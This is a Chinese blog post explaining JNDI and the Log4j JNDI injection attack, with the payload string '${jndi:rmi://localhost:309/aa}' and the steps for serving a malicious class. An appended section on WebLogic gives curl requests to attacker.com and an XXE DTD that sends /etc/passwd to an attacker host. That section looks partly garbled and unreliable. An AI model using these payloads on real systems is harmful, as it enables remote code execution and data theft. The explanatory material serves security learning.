JNDI以及利用JNDI进行漏洞攻击

什么是JNDI?

什么是JNDI?_jndi是什么_Cloud-Future的博客-CSDN博客

个人理解:

JNDI是java提供的命名和目录服务。

命名服务

命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务

目录服务

目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,这么说可能不太好理解,我们举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系。

这个JNDI是j2ee时代的产物,现在都基于SpringBoot开发,很少用到这种技术,但由于是java本身自带的东西,导致在java环境中天生就带有这个东西。

JNDI的注入攻击

概念

RMI服务器:RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

用于绑定名称和对象的关系。

JNDI Reference对象:该对象表示其本身在RMI服务器上不存在,需要进行远程下载。

注入攻击:通过log4j的指定版本,进行日志打印:log.info("${jndi:rmi://localhost:309/aa}")

这个时候,log4j会根据内容判断成需要使用jndi,接着去调用rmi指定的地址,这个rmi服务是我们自己定义的服务,并且aa对象是个Reference对象,这种对象代表请求的名称,在rmi服务器上不存在,需要去一个网站上下载该类,这个设置,可以启动rmi服务器的时候进行设置。并且下载的完成后会进行反序列化,并且这个过程是服务器上执行的,就导致了黑客可以注入任意的代码。

完成攻击有下面几个步骤:

1.想办法让被攻击的服务器上的程序,执行一次类似于这样的日志打印,

log.info("${jndi:rmi://localhost:309/aa}"),基于常识,我们可以在登录的用户名里面输入这个字符串,因为后台有的时候会打印用户名。

2.本地启动一个rmi服务,该rmi服务需要绑定一个Reference对象,并且指定Reference对象的下载地址。

3.启动一个http服务来提供下载服务,在该类中,可以进行恶意代码,必须在static和无参构造方法里面。

4.这个时候被攻击的服务器会下载该类,并进行类的反序列号,恶意代码即可被执行,这个过程是在服务端执行的,所以危害巨大。

具体的代码模拟过程:可以参考这个博客

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败-CSDN博客

  • 12
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
WebLogic 的/console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成 RCE。攻击者可以通过构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上,从而实现远程代码执行。具体步骤如下: 1. 构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上。例如,可以使用以下命令将一个恶意的 LDAP URL 绑定到 WebLogic JNDI 树上: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "ldap://attacker.com:1389/Exploit", "targets": [{"identity": {"type": "Server", "name": "AdminServer"}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 2. 构造恶意请求,触发 JNDI 注入漏洞。例如,可以使用以下命令触发漏洞: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "Exploit", "bindings": [{"name": "Exploit", "type": "javax.naming.Reference", "value": {"className": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryClassName": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryMethodName": "setConfigLocation", "factoryMethodArgs": ["http://attacker.com/evil.xml"]}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 3. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 XML 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 4. 构造恶意的 XML 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 XML 文件: ``` <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> ``` 5. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 DTD 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 6. 构造恶意的 DTD 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 DTD 文件: ``` <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % remote "<!ENTITY % send SYSTEM 'http://attacker.com/?%payload;'>"> %remote; ``` 7. 等待 WebLogic 服务器攻击者控制的服务器发送 HTTP 请求,从而触发恶意代码的执行。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值